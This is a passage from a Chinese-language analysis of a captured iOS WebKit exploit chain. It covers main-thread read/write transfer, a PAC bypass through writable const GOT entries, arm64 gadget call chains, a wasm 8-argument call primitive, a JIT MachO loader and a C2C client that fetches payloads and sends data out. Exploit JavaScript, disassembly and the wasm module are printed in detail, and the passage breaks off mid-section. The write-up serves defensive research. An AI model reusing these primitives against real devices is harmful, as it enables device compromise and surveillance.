他们定义了两个函数 btlalt,分别读取和写入一个 wasm i64 全局变量。通过已建立的原语,可以将第一个实例的全局值指针设置为第二个实例的全局值指针,然后他们可以将其用于对任意地址的读写。此外,漏洞利用清除了 m_globalsToMark 以避免 GC 触及全局变量并可能导致进程崩溃。从那时起,addrof 原语通过获取 JS 对象的地址(使用旧的 addrof),将一个对象设置到其内联属性中,然后从中读取来工作。
读写模块然后导出许多有用的函数来读取和写入不同的大小和类型,以及用数字类包装它们以使处理更容易。

3.2.7. 将读写转移到主线程

到目前为止,所有这些都发生在为漏洞利用创建的工作线程中。在那里漏洞利用现在拥有完整的读写能力,但攻击者需要以某种方式将其传输到主线程以继续在那里进行漏洞利用。为此,工作线程向主线程发出信号,然后主线程在主线程上调用以下流程:
TEXT
const marker_array = JSON.parse(("[0.0, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, 10.10]")); // 他们这样做的原因是为了避免在栈上某处出现 5.5 这个数字
const rw = new rw_module; // c
const com_arr_towards_worker = rw.arr_obj_num_num_prop;
marker_array[0] = rw.numConv.bigint_to_f64(0xdeadn);
marker_array[1] = -0;
com_arr_towards_worker[0] = rw.webasm_instance;
com_arr_towards_worker[1] = rw.wasm_instance2;
const take_primitives = () => {
    const arr_to_find = [0x55432, com_arr_towards_worker, 0x55432, 0xFF432, marker_array, 0xFF432];
    const recursive_func = (t, ...e) => {
        try {
            recursive_func(t + 1, ...arr_to_find, ...e)
        } catch (t) {}
    };
    recursive_func(0, arr_to_find);
    if (marker_array[5] !== 6.6) {
        debug_log("");
        try {
            debug_log("");
            rw.ws = rw.numConv.f64_to_bigint(marker_array[0]);
            rw.ds = rw.numConv.f64_to_bigint(marker_array[1]);
            rw.ys = rw.numConv.f64_to_bigint(marker_array[2]);
            rw.As = rw.numConv.f64_to_bigint(marker_array[3]);
            rw.arr_obj_num_num_prop_addr = rw.numConv.f64_to_bigint(marker_array[4]);
            fingerprint_module.device_properties.rw = rw; // Xn
            t()
        } catch (t) {
            debug_log(t)
        }
    } else window.setTimeout(take_primitives, 0)
};
代码将循环地把递归函数及其参数压入栈中,直到 marker_array[5] 发生预期中的变化。与此同时,工作线程从 wasm 实例追溯至其 C++ 后端对象,再由此抵达 VM 对象。VM 对象然后方便地存储一个指向栈的指针(m_softStackLimit),工作线程可以从那里使用读写来尝试找到主线程正在推送的标记:
TEXT
for (let offset = -0x1800n; offset > -0x3000n; offset -= 0x8n) {
    const addr2check = stack_base - offset;
    // 检查是否有标记
    if (_rw.read64(addr2check) == 0xfffe000000055432n &&
        _rw.read64(addr2check + 0x8n * 2n) == 0xfffe000000055432n &&
        _rw.read64(addr2check + 0x8n * 3n) == 0xfffe0000000ff432n &&
        _rw.read64(addr2check + 0x8n * 5n) == 0xfffe0000000ff432n) {
一旦找到上面名为 arr_to_find 的数组,它就可以从那里读取 com_arr_towards_workermarker_array,然后写入它们的 butterfly 并损坏主线程的两个 wasm 实例以获得读写:
TEXT
const com_arr_towards_worker = _rw.read64(addr2check + 0x8n * 1n);
const com_arr_towards_worker_butterfly = _rw.read64(com_arr_towards_worker + 0x8n);
const marker_array = _rw.read64(addr2check + 0x8n * 4n);
const marker_array_butterfly = _rw.read64(marker_array + 0x8n);
const wasm_i1 = _rw.read64(com_arr_towards_worker_butterfly);
const wasm_i1_cpp = _rw.read64(wasm_i1 + toBigInt(offsets[webasm_js_to_cpp_instance]));
const wasm_i1_cpp_globals = wasm_i1_cpp + toBigInt(offsets[webasm_cpp_instance_global_0_off]);
const wasm_i2 = _rw.read64(com_arr_towards_worker_butterfly + 0x8n);
const wasm_i2_cpp = _rw.read64(wasm_i2 + toBigInt(offsets[webasm_js_to_cpp_instance]));
const wasm_i2_cpp_globals = wasm_i2_cpp + toBigInt(offsets[webasm_cpp_instance_global_0_off]);

_rw.w64_wrapper(wasm_i2_cpp + toBigInt(offsets[wasm_cpp_gc_mark]), 0x8000000000000000n);
_rw.w64_wrapper(wasm_i1_cpp + toBigInt(offsets[wasm_cpp_gc_mark]), 0x8000000000000000n);
_rw.w64_wrapper(wasm_i1_cpp_globals, wasm_i2_cpp_globals);
_rw.w64_wrapper(marker_array_butterfly + 0x0n, wasm_i2_cpp);
_rw.w64_wrapper(marker_array_butterfly + 0x8n, wasm_i2_cpp_globals);
_rw.w64_wrapper(marker_array_butterfly + 0x10n, wasm_i1_cpp);
_rw.w64_wrapper(marker_array_butterfly + 0x18n, wasm_i1_cpp_globals);
_rw.w64_wrapper(marker_array_butterfly + 0x20n, com_arr_towards_worker);
_rw.w64_wrapper(marker_array_butterfly + 0x28n, 0x0n);
有了这些,他们终于在主线程上获得了读写能力——真是一段漫长的旅程!
他们的下一个高层目标是在 WebContent 进程内执行原生代码以运行他们的 LPE,但在加载和链接动态库之前,他们首先需要获得一个函数调用原语。为此,在更新的设备上需要 PAC 绕过,所以让我们接下来看看他们是如何实现这一点的。

3.3. WebKit 代码执行

本节我们将探讨 PAC 绕过(seedbell_17)。它利用了某些动态库的 const 段可写这一事实,可以覆盖未签名的 GOT 条目,然后触发对其的签名操作,以及他们如何通过 wasm 将其升级为 8 参数函数调用原语。

3.3.1. PAC 绕过

一旦漏洞利用获得读写能力,代码执行便返回主模块。现在它将通过从 WebAssembly.Table 和 WebAssembly.Instance 对象获取函数指针并检查它们是否共享相同的高位来检测 PAC。如果不共享,漏洞利用假定 PAC 已启用(这是有道理的,因为 JSC 内的地址应该始终共享相同的高位,但每个指针上的 PAC 位会不同)。之后他们将该指针对齐到页面边界,然后向后扫描 JSC 二进制文件的 MachO 头部(通过 0xFEEDFACF 标识)。一旦找到,他们可以读取 CPU 类型来确定设备是 x86、arm64 还是 arm64e。这是他们最后一次根据 CPU 类型更新设备特定的偏移量,之后他们冻结该对象。
本次捕获中检测到了 PAC,这意味着他们现在需要获取签名器。
这是通过选择一个 PAC 绕过(对于此捕获针对 iOS 17.1,即 seedbell_17)然后执行它来完成的,它将把一个签名器类导出回主模块,允许它使用任何密钥和修饰符签名指针。
对于 seedbell_17,除了主 PAC 绕过模块(29b874a9a6cc9fa9d487b31144e130827bf941bb)之外,他们还将加载一个辅助模块(477db22c8e27d5a7bd72ca8e4bc502bdca6d0aba),该模块由 6 个类组成:
  • 一个 dyld 共享缓存的包装器,解析其中的所有 MachO,然后导出一个基于路径获取 MachO 的函数
  • 一个 MachO 包装器,导出获取 MachO 段或符号的能力
  • 一个处理/解析 dyld 导出链的辅助类
  • 一个处理内存缓冲区的辅助类,允许你跳过/查找和从缓冲区读取,类似于 Python 中的 io.BytesIO
  • 一个处理 arm64 汇编的辅助类,用于查找交叉引用、代码序列和解码跳转等
  • 一个使用其他类来查找 PAC 绕过所需的特定 gadget 的类
由于原始 seedbell 并未加载这个辅助模块,我推测这是后来添加的——当他们意识到 seedbell 的 gadget 可能会不断变化,希望更便利地解析 dyld 共享缓存以寻找 gadget 时。
主 PAC 绕过模块然后有 11 个类,它们大致可以分为:
  • 签名器类和围绕它处理 JS 数字的包装器——这基本上支持使用任何密钥和上下文进行签名,也是导出到链其余部分的类
  • 提供几种不同限制参数的调用原语的类
  • 一个通用调用器,可以命名为 WasmJitCageCallPrimitive,因为他们在最终漏洞利用中留下了一个异常字符串
  • 管理内存的辅助类(free、malloc 等)
我认为按获得原语的顺序来解释 PAC 绕过模块是有意义的,所以让我们从调用器开始:
为此他们创建一个 Intl.Segmenter 对象,将其置于准备分割文本的状态,然后修改其内部状态。
具体来说他们:
  • 在 RBBIDataWrapper 的 fForwardTable 中创建一个伪造的匹配数组以保证调用访问文本
  • 用他们想要调用的 PACIZA 指针覆盖访问函数
  • 用他们想要用 PACIZA 指针调用的 x1 值覆盖 fText_chunkNativeLimit
  • 执行 segment_iter.next().value; 来触发调用
  • 恢复表和 PACIZA 函数指针数组对象
为此他们需要几个内存缓冲区,在这个阶段他们通过创建一个数组缓冲区然后操作其后端存储来获取它们。
至此,他们获得了一个可完全控制 x1 的 PACIZA 调用原语。基于此他们获得了另外两个原语:一个提供任意 x0、x1 和 x2 的调用原语,另一个可以用任意 x0、x1、x2 和 x3 调用任意 PACIZA 指针,但 x0 和 x1 是相同的值。在这两个新原语中,他们还通过将返回值存储到内存并在调用后读回来获取调用的返回值。

3.3.1.1. 早期 PACIZA 原语的调用链

(点击展开)
对于前者,使用以下调用链:
TEXT
_autohinter_iterator_end:
c10000b4  cbz x1, 0x18
221040f9  ldr x2, [x1, 0x20] - enet_allocate_packet_payload_default
820000b4  cbz x2, 0x18
200440f9  ldr x0, [x1, 8] - buf5_80
211840f9  ldr x1, [x1, 0x30] - buf4_768
5f081fd6  braaz x2
c0035fd6  ret

enet_allocate_packet_payload_default:
7f2303d5  pacibsp
f44fbea9  stp x20, x19, [sp, -0x20]!
fd7b01a9  stp x29, x30, [sp, 0x10]
fd430091  add x29, sp, 0x10
f30300aa  mov x19, x0
48100fb0  adrp x8, 0x1e209000
086d41f9  ldr x8, [x8, 0x2d8]
e00301aa  mov x0, x1 - buf4_768
1f093fd6  blraaz x8 - _HTTPConnectionFinalize
f40300aa  mov x20, x0
800000b5  cbnz x0, 0x38
48100fb0  adrp x8, 0x1e209000
087541f9  ldr x8, [x8, 0x2e8]
1f093fd6  blraaz x8 - xmlSAX2GetPublicId_ref
740a00f9  str x20, [x19, 0x10] - 存储到 buf5_80+0x10
fd7b41a9  ldp x29, x30, [sp, 0x10]
f44fc2a8  ldp x20, x19, [sp], 0x20
ff0f5fd6  retab

_HTTPConnectionFinalize: // 其中有一些 CFRelease 调用等被跳过了,因为指针为空(为可读性省略)
PACIBSP
STP             X20, X19, [SP,#-0x10+var_10]!
STP             X29, X30, [SP,#0x10+var_s0]
ADD             X29, SP, #0x10
MOV             X19, X0
LDR             X8, [X0,#0x40]
CBZ             X8, loc_192E60A8C
LDR             X1, [X19,#0x28]
MOV             X0, X19
BLRAAZ          X8

LDR             X0, [X19,#0x138] ; cf
CBNZ            X0, loc_192E60AD0
LDR             X8, [X19,#0x158]
CBZ             X8, loc_192E60AF4
LDR             X0, [X19,#0x148]
BLRAAZ          X8

                        ; CODE XREF: __HTTPConnectionFinalize+84↑j
LDR             X8, [X19,#0x178] - _autohinter_iterator_begin_paciza
LDR             W0, [X19,#0x88] ; int
CBZ             X8, loc_192E60B20
LDP             X1, X2, [X19,#0x180] - x1/buf1_80
LDR             X3, [X19,#0x190] - 0x1CCCCCCC
BLRAAZ          X8

                        ; CODE XREF: __HTTPConnectionFinalize+C4↓j
                        ; __HTTPConnectionFinalize+D0↓j ...
MOV             W8, #0xFFFFFFFF
STR             W8, [X19,#0x88]

                        ; CODE XREF: __HTTPConnectionFinalize:loc_192E60B20↓j
LDP             X29, X30, [SP,#0x10+var_s0]
LDP             X20, X19, [SP+0x10+var_10],#0x20
RETAB

_autohinter_iterator_begin:
c20000b4  cbz x2, 0x18
430840f9  ldr x3, [x2, 0x10] - dict.ab
830000b4  cbz x3, 0x18
400440f9  ldr x0, [x2, 8] - dict.sb
421840f9  ldr x2, [x2, 0x30] - dict.x2
7f081fd6  braaz x3
c0035fd6  ret
对于后者,他们调用以下调用链:
TEXT
_autohinter_iterator_end:
c10000b4  cbz x1, 0x18
221040f9  ldr x2, [x1, 0x20] - _HTTPConnectionFinalize_paciza
820000b4  cbz x2, 0x18
200440f9  ldr x0, [x1, 8] - buf2_544
211840f9  ldr x1, [x1, 0x30] - 0
5f081fd6  braaz x2
c0035fd6  ret

_HTTPConnectionFinalize: // 其中有一些 CFRelease 调用等被跳过了,因为指针为空(为可读性省略)
PACIBSP
STP             X20, X19, [SP,#-0x10+var_10]!
STP             X29, X30, [SP,#0x10+var_s0]
ADD             X29, SP, #0x10
MOV             X19, X0
LDR             X8, [X0,#0x40]
CBZ             X8, loc_192E60A8C
LDR             X1, [X19,#0x28]
MOV             X0, X19
BLRAAZ          X8

LDR             X0, [X19,#0x138] ; cf
CBNZ            X0, loc_192E60AD0
LDR             X8, [X19,#0x158]
CBZ             X8, loc_192E60AF4
LDR             X0, [X19,#0x148]
BLRAAZ          X8

                        ; CODE XREF: __HTTPConnectionFinalize+84↑j
LDR             X8, [X19,#0x178] - _EdgeInfoCFArrayReleaseCallBack_paciza
LDR             W0, [X19,#0x88] ; int
CBZ             X8, loc_192E60B20
LDP             X1, X2, [X19,#0x180] - early_malloc_buffer/x2
LDR             X3, [X19,#0x190] - x3 (ib)
BLRAAZ          X8

                        ; CODE XREF: __HTTPConnectionFinalize+C4↓j
                        ; __HTTPConnectionFinalize+D0↓j ...
MOV             W8, #0xFFFFFFFF
STR             W8, [X19,#0x88]

                        ; CODE XREF: __HTTPConnectionFinalize:loc_192E60B20↓j
LDP             X29, X30, [SP,#0x10+var_s0]
LDP             X20, X19, [SP+0x10+var_10],#0x20
RETAB

_EdgeInfoCFArrayReleaseCallBack:
7f2303d5  pacibsp
f44fbea9  stp x20, x19, [sp, -0x20]!
fd7b01a9  stp x29, x30, [sp, 0x10]
fd430091  add x29, sp, 0x10
f30301aa  mov x19, x1
f40300aa  mov x20, x0
290440f9  ldr x9, [x1, 8] - buf4_80
280940f9  ldr x8, [x9, 0x10] - enet_allocate_packet_payload_default_paciza
880000b4  cbz x8, 0x30
200140f9  ldr x0, [x9] - buf3_80
610240f9  ldr x1, [x19] - sb
1f093fd6  blraaz x8
e00314aa  mov x0, x20
e10313aa  mov x1, x19
fd7b41a9  ldp x29, x30, [sp, 0x10]
f44fc2a8  ldp x20, x19, [sp], 0x20
ff2303d5  autibsp
d0071eca  eor x16, x30, x30, lsl 1
5000f0b6  tbz x16, 0x3e, 0x50
208e38d4  brk 0xc471
08590514  b 0x156470

enet_allocate_packet_payload_default:
7f2303d5  pacibsp
f44fbea9  stp x20, x19, [sp, -0x20]!
fd7b01a9  stp x29, x30, [sp, 0x10]
fd430091  add x29, sp, 0x10
f30300aa  mov x19, x0
48100fb0  adrp x8, 0x1e209000
086d41f9  ldr x8, [x8, 0x2d8] - dict.ab
e00301aa  mov x0, x1
1f093fd6  blraaz x8
f40300aa  mov x20, x0
800000b5  cbnz x0, 0x38
48100fb0  adrp x8, 0x1e209000
087541f9  ldr x8, [x8, 0x2e8]
1f093fd6  blraaz x8 - xmlSAX2GetPublicId_ref
740a00f9  str x20, [x19, 0x10] - 存储到 buf3_80 + 0x10
fd7b41a9  ldp x29, x30, [sp, 0x10]
f44fc2a8  ldp x20, x19, [sp], 0x20
ff0f5fd6  retab

xmlSAX2GetPublicId_ref:
mov x0, 0
ret
奇怪的是,这套调用链过于复杂;我不理解他们为何不能精简 gadget 数量。所有 PACIZA 指针都来自 dyld 共享缓存中以签名形式存储的区域,可以从中读取。过度使用这些 gadget 会在被捕获时消耗更多这些指针,所以我本以为会有强烈的动机来减少使用的 gadget 数量。
有了这两个原语,他们准备好执行 PAC 绕过,并且也获得了调用 malloc 的能力(通过使用指向 _xmlMalloc 的 PACIZA 指针)。
对于 PAC 绕过,他们使用调用原语创建一个 [NSUUID UUID] 对象,然后在其上调用 cksqlcs_blobBindingValue:destructor:error:。他们对 error: 没有任何控制权,但这似乎不重要。
这将进入 [CKSQLiteCompiledStatementBindingValues cksqlcs_blobBindingValue:destructor:error:](在 CloudKit 中实现),如下所示:
TEXT
PACIBSP
STP             X24, X23, [SP,#-0x10+var_30]!
STP             X22, X21, [SP,#0x30+var_20]
STP             X20, X19, [SP,#0x30+var_10]
STP             X29, X30, [SP,#0x30+var_s0]
ADD             X29, SP, #0x30
MOV             X19, X3
MOV             X20, X2
MOV             X21, X0
MOV             W23, #0x10
MOV             W0, #0x10
MOV             W1, #0x69EEEF37
BL              _malloc_type_malloc_8
MOV             X22, X0
MOV             X0, X21
MOV             X2, X22
BL              _objc_msgSend$getUUIDBytes_
STR             X23, [X20]
ADRP            X16, #_free_ptr@PAGE
LDR             X16, [X16,#_free_ptr@PAGEOFF]
PACIZA          X16
STR             X16, [X19]
MOV             X0, X22
LDP             X29, X30, [SP,#0x30+var_s0]
LDP             X20, X19, [SP,#0x30+var_10]
LDP             X22, X21, [SP,#0x30+var_20]
LDP             X24, X23, [SP+0x30+var_30],#0x40
RETAB
如你所见,他们 malloc 一个 0x10 字节的对象,将 UUID 的字节存储在其中,然后从 GOT 加载指向 _free_ptr 的指针,对其进行 PACIZA 签名,然后将其存储在作为参数传入的析构函数指针中。这本身并非安全漏洞,而是一个安全弱点——_free_ptr 在源代码中可能被定义为 void*,因此编译器无法对其进行 PAC 签名,因为它不是函数指针;但当它被赋值给析构函数时,它被转换为函数指针,编译器必须在那里对其进行签名。

3.3.1.2. 复现弱代码模式

(点击展开)
该模式可以用以下代码复现:
TEXT
typedef size_t (*fn_t)(const char *s);
fn_t f(void)
{
    return strlen;
}
这将为 f 生成以下汇编:
TEXT
adrp x16, reloc.strlen
ldr x16, [x16]
paciza x16
mov x0, x16
ret
这本身并非安全漏洞,因为指针位于 GOT 内部,而 GOT 属于 __DATA_CONST 段,因此是只读的。但问题在于还有一个链接器弱点,在某些情况下会阻止链接器将 __DATA_CONST 段保护为只读。具体来说,dyld 在 segmentSupportsDataConstassignDataSegmentAddresses 中有代码,如果二进制文件具有以下条件,则不会将 __DATA_CONST 保护为只读:
  • Swift 代码和 __objc_const 段,因为 Swift 在 __objc_const 内部有一些可变数据需要在执行期间修改
  • 基于指针的 objc 方法列表,因为它们会将函数指针存储在 const 段内,然后调用 setIMP 来更改它们会导致崩溃
  • 解析器函数
  • libcrypto.0.9.8.dylib,由于某种原因会写入 __DATA_CONST
我认为其中最紧迫的是 Swift,这也是为什么我推测 Apple 直到 iOS 18 beta 1 才解决这个问题的原因。从那时起,链接器将始终将 __DATA_CONST 保护为只读,并且引入了 __LATE_CONST 和 __TPRO_CONST 来处理边缘情况。
我假设 seedbell 和 seedbell_16.6 非常相似,它们被关闭要么是因为它们所在的动态库不再属于上述四个类别之一,要么是因为签名指针的流程不再可达。
有了这个,他们然后可以签名 _xmlHashScanFull,这给了他们一个完整的 x0-x5 调用原语,但 x0 不能为非空。
这个签名功能然后被导出回主模块。
最后,他们还实现了一个支持最多 8 个参数调用的类。
为此他们使用一个定义了 3 个函数的 wasm 模块。它们在函数 f 中接收 16 个 32 位参数,然后将它们打包成 8 个 64 位值,最后调用 o,但使用读写,漏洞利用将 o 的 JIT 跳板函数指针替换为目标函数的指针,给了他们一个不错的 8 参数调用原语。为了正确签名目标函数指针,他们 PACIZA 签名 _jitCagePtr 然后用它来签名目标函数。之后 wasm 将 64 位返回值作为两个 i32 存储到内存中,JavaScript 可以从那里检索它。不支持超过 8 个参数的原因是,之后根据 Apple 的调用约定,剩余的参数会被推入栈中,我假设 wasm 调用约定是不同的。

3.3.1.3. 用于 8 参数调用原语的 Wasm 模块

(点击展开)
TEXT
(module
  (type (;0;) (func (param i64 i64 i64 i64 i64 i64 i64 i64) (result i64)))
  (type (;1;) (func (param i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32) (result i64)))
  (type (;2;) (func (param i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32)))
  (func (;0;) (type 0) (param i64 i64 i64 i64 i64 i64 i64 i64) (result i64)
    i64.const 0)
  (func (;1;) (type 1) (param i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32) (result i64)
    local.get 1
    i64.extend_i32_u
    i64.const 32
    i64.shl
    local.get 0
    i64.extend_i32_u
    i64.or
    local.get 3
    i64.extend_i32_u
    i64.const 32
    i64.shl
    local.get 2
    i64.extend_i32_u
    i64.or
    local.get 5
    i64.extend_i32_u
    i64.const 32
    i64.shl
    local.get 4
    i64.extend_i32_u
    i64.or
    local.get 7
    i64.extend_i32_u
    i64.const 32
    i64.shl
    local.get 6
    i64.extend_i32_u
    i64.or
    local.get 9
    i64.extend_i32_u
    i64.const 32
    i64.shl
    local.get 8
    i64.extend_i32_u
    i64.or
    local.get 11
    i64.extend_i32_u
    i64.const 32
    i64.shl
    local.get 10
    i64.extend_i32_u
    i64.or
    local.get 13
    i64.extend_i32_u
    i64.const 32
    i64.shl
    local.get 12
    i64.extend_i32_u
    i64.or
    local.get 15
    i64.extend_i32_u
    i64.const 32
    i64.shl
    local.get 14
    i64.extend_i32_u
    i64.or
    i32.const 0
    call_indirect (type 0)
    return)
  (func (;2;) (type 1) (param i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32) (result i64)
    local.get 0
    local.get 1
    local.get 2
    local.get 3
    local.get 4
    local.get 5
    local.get 6
    local.get 7
    local.get 8
    local.get 9
    local.get 10
    local.get 11
    local.get 12
    local.get 13
    local.get 14
    local.get 15
    call 1
    return)
  (func (;3;) (type 2) (param i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32)
    (local i64)
    local.get 0
    local.get 1
    local.get 2
    local.get 3
    local.get 4
    local.get 5
    local.get 6
    local.get 7
    local.get 8
    local.get 9
    local.get 10
    local.get 11
    local.get 12
    local.get 13
    local.get 14
    local.get 15
    call 2
    local.set 16
    i32.const 0
    local.get 16
    i32.wrap_i64
    i32.store
    i32.const 4
    local.get 16
    i64.const 32
    i64.shr_u
    i32.wrap_i64
    i32.store
    return)
  (table (;0;) 2 funcref)
  (memory (;0;) 1 1)
  (export "t" (table 0))
  (export "m" (memory 0))
  (export "o" (func 0))
  (export "f" (func 3))
  (elem (;0;) (i32.const 0) func 0))
这个类的名称在一个错误消息中泄露了(new Error(("WasmJitCageCallPrimitive only supports 8 register args, got ") + (args.length)))。我怀疑原因是字符串是在错误消息中组装的而不是原始字符串,这意味着当他们剥离所有字符串时它没有被替换。

3.3.2. 回到主模块

签名器和调用器被导出至主模块后,他们随即调用一个函数来验证签名。这基本上验证了签名一个 PAC 剥离的 wasm 函数指针是否返回与原始指针相同的结果。

3.4. JS MachO 加载模块

一旦漏洞利用获得 PAC 签名与函数调用原语,主模块便会加载一个负责获取 LPE 阶段的 MachO JIT 加载模块。有两个不同的潜在加载器,但对于此捕获选择了 c03c6f666a04dd77cfe56cda4da77a131cbb8f1c,它将加载并跳转到 PE 阶段。它将加载一个辅助模块(b5135768e043d1b362977b8ba9bff678b9946bcb),该模块又加载另一个模块(ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8)。这两个都是通过 base64 在父载荷内部加载的。后者是又一个 dyld 共享缓存和 MachO 解析器,而前者负责将 MachO 二进制文件加载到 JIT 区域并使其可运行。外层充当编排器。我们将在本节中逐一查看它们。

3.4.1. MachO 解析器(第2个)

与 seedbell 通用辅助模块类似,该模块包含一个用于 dyld 共享缓存的类和一个 MachO 类,前者使用后者将缓存中的所有动态库加载到其中,以及用于处理 MachO 及其符号的辅助类。
奇怪的是,虽然与 seedbell 的辅助模块有相似之处,但它看起来像是一个完整的重新实现(或者更确切地说 seedbell 的辅助模块是重新实现,因为它是后来发布的),使用了自己的数字辅助类,以及使用函数来解析 MachO 而不是将其嵌入到 MachO 类中。我真的不理解这个设计决策背后的原因,因此我假设这是因为代码库已经发展,最终 PAC 绕过需要自己的 dyld 共享缓存解析器。

3.4.2. JIT 加载器模块

第一步,编排器将调用此模块中的一个函数,该函数重新创建了前文所述的 WasmJitCageCallPrimitive,从而提供一个 8 参数调用原语。代码看起来是复制粘贴的,甚至 wasm 代码也 1:1 匹配,但在这种情况下错误消息被正确剥离了。我再次不知道为什么这被导出了两次,但假设过去漏洞利用链在这个早期阶段不需要 8 参数调用原语,所以他们只在 PE 加载器中导出它,后来也因为 PAC 绕过需要它而添加了它。
之后编排器将创建 JIT 加载器类。在构造期间,此类将根据 JSC 中可用的代码选择可行的加载策略。它将检查:
  • WTF::MetaAllocator::allocate(unsigned long, void*) 或替代的 WTF::MetaAllocator::allocate(WTF::Locker<WTF::Lock> const&, unsigned long) 是否可用
  • 然后查找 JSC::LinkBuffer::linkCode(JSC::MacroAssembler&, void*, JSC::JITCompilationEffort)JSC::LinkBuffer::linkCode(JSC::MacroAssembler&, JSC::JITCompilationEffort)
  • 最后查找 JSC::ExecutableMemoryHandle::createImpl(unsigned long)
如果找不到 JSC::ExecutableMemoryHandle::createImpl(unsigned long),它将生成随机 JS 代码(基本上是一些不可折叠的数学运算)并对其进行 JIT 编译,然后读取指针链以获取函数在 JIT 区域中的指针。基于可用的函数,他们然后准备汇编来处理加载代码。这要么使用 pacdapacdb 指令完成,要么使用 xorpacdzb/pacdb 的混合完成。他们还有相同的代码作为 JS 实现,因为最初他们需要通过 JS 加载此 shellcode,然后使用它来”哈希”更大的代码段以加速。
随后创建 C2C JS 客户端。其基本机制是:稍后从 MachO 内部启动一个新线程,然后返回到 JS 代码执行。这样他们就可以通过后端缓冲区维护与 JS 的通信通道,允许他们通过 JS 进行网络操作(例如获取新的载荷或将数据发送回服务器)。C2C 客户端有八个状态:
  • 初始 (0):C2C 在其运行循环中空闲等待命令
  • 下载请求 (1):原生代码请求下载并将状态更改为此处
  • 下载中/发送中 (2):C2C 接管请求并正在下载数据(或在状态 7 时发送)
  • 已下载 (3):C2C 下载了数据并将其复制到缓冲区
  • 错误 (4):C2C 遇到错误——在这种情况下它还会向服务器发送带有错误参数的 GET 请求
  • 退出中 (5):这再次由原生代码设置并将退出运行循环
  • 更新 DOM (6):C2C 将插入一个随机 div 并更新 url,然后 10 秒后再次删除它。我假设这是为了保持页面”活跃”
  • 发送数据 (7):向服务器发送数据
框架再次验证自身不在 macOS 上运行,推测原因是该 LPE 漏洞利用仅支持 iOS。
随后他们实例化一个负责加载 MachO 阶段的新类。这将最初使用默认值链接 shellcode 并解压缩一个 base64 编码的 MachO。它还会将资源 url、ChaCha20 密钥、日志 url(此部署中为空)和用户代理写入不同的缓冲区,以便 MachO 可以访问它们。用默认值填充所有内容允许他们准确计算代码洞所需的大小。基于可用的方法,JIT 加载模块将要么通过 ExecutableMemoryHandle::createImplMetaAllocator::allocate 创建代码洞,或者如果两者都不可用,则使用 LinkBuffer::linkCode 和代码哈希例程来创建代码洞。然后它将调用 MachO 加载类将代码链接到创建的地址。这将连接解压缩的 MachO、加载它的 shellcode、ChaCha20 密钥、资源 url、文档 url、导航器用户代理和日志 url(此部署中为空)。shellcode 本身也在开头包含一个引用所有这些缓冲区的结构:
TEXT
struct config
{
  uint64_t load_2_addr;
  uint64_t macho_load_addr;
  uint64_t is_zero;
  uint64_t code_addr;
  uint64_t macho_23_len;
  uint64_t resource_url_addr;
  uint64_t ChaCha20_key_addr;
  uint64_t document_url_addr;
  uint64_t data_to_load_addr;
  uint64_t useragent_addr;
  uint64_t logging_url_addr;
  uint64_t signed_pacia1716_gadget;
  uint64_t signed_pacib1716_gadget;
  uint64_t signed_pacda_gadget;
  uint64_t signed_pacdb_gadget;
  uint64_t signed_braa_x10_gadget;
  uint64_t mov_x2_x11_braa_x14_gadget_paciza;
  uint64_t jit_op_mov_x13_4911_brab_x2_x13;
  uint64_t braa_x14_pac_ctx;
  uint64_t dlsym_addr;
  uint64_t unk;
  uint64_t in_private_browsing_mode;
  uint64_t should_do_logging;
};
因此,shellcode 还可以访问多个签名和分支 gadget。
最后,它使用 JIT 加载模块通过调用 LinkBuffer::linkCode 加载此代码,用 shellcode 例程对其进行哈希,然后从 MachO 加载类获取入口点,启动 C2C 例程,并跳转到它。

3.4.3. 加载器 shellcode

shellcode 的目的是将 MachO 加载到内存中,然后可选地跳转到它。它相当大,因为它必须包含完整的 MachO 解析器和加载器,以及击败 JITCage 的代码模式。这也是本节的重点,若你对 JITCage 绕过不感兴趣,可直接跳至下一节。
关于 JITCage 的公开文档十分有限;我只找到了 Synacktiv 的这份演示文稿 以及 Luca 的一场演讲。JITCage 是作为 A15 上的硬件功能引入的。一般来说,Apple 的高层想法似乎是他们想要控制攻击者可以在 JIT 代码中执行什么。常规 JIT 代码不需要执行任何系统调用,例如,所以它们会在 JIT 区域内的 SVC 指令上触发故障。类似地,它们也不允许通过 MRS 和 MSR 指令访问系统寄存器。最后,它们还想防止攻击者从 JIT 代码获得任意控制流,所以它们禁止任何 PAC 签名指令和任何未经 PAC 认证的跳转到 JIT 区域外的控制流指令。因为 JIT 区域内 IA 和 IB 签名的 PAC 密钥不同,JSC 可以锁定自己不再生成可能的”退出”路径从 JIT 区域,它确实这样做了。在启动期间,它将为 JIT 代码必须调用的所有函数生成签名,然后设置一个位来锁定自己不再签名新的函数。因此,攻击者无法生成新的 gadget 供其 JIT 代码调用。
在我看来,这段 shellcode 似乎由自定义编译器编译而成,以兼容当前运行环境,同时保持对不支持 PAC 的旧 CPU 以及没有 JITCage 的 CPU 的兼容性。为了保持与旧 CPU 的兼容性,shellcode 利用了 XPACLRI 指令在旧 CPU 上编码到 NOP 空间的事实,因此它可以用作区分器来检测 CPU 是否支持 arm8.3 PAC 扩展:
TEXT
MOV             X30, #0xAAAAAAAAAAAAAAAA
XPACLRI
MOV             X0, #0xAAAAAAAAAAAAAAAA
CMP             X0, X30
CSET            X0, NE
如果 CPU 支持 PAC,XPACLRI 将清除 X30 中的 PAC 位,但在没有 PAC 的设备上它作为 NOP 执行,因此 X30 仍然是 0xAAAAAAAAAAAAAAAA。为了避免执行 RET 指令,使用以下代码:
TEXT
MOV             X10, X30
MOV             X30, #0xAAAAAAAAAAAAAAAA
XPACLRI
MOV             X11, #0xAAAAAAAAAAAAAAAA
CMP             X11, X30
MOV             X30, X10
B.NE            +0x8
RET
MOV             X10, X30
BLR             X10
因此在非 PAC 设备上,代码将执行 RET;而在 PAC 设备上,它将执行 BLR 以返回调用者。除此之外,他们还有一个用于外部调用的辅助分发函数。这将在 x10 中获取要调用的函数指针,然后检查 JITCage 是否启用(jit_op_mov_x13_4911_brab_x2_x13 在配置中已填充),如果没有则剥离 PAC 位并直接跳转:
TEXT
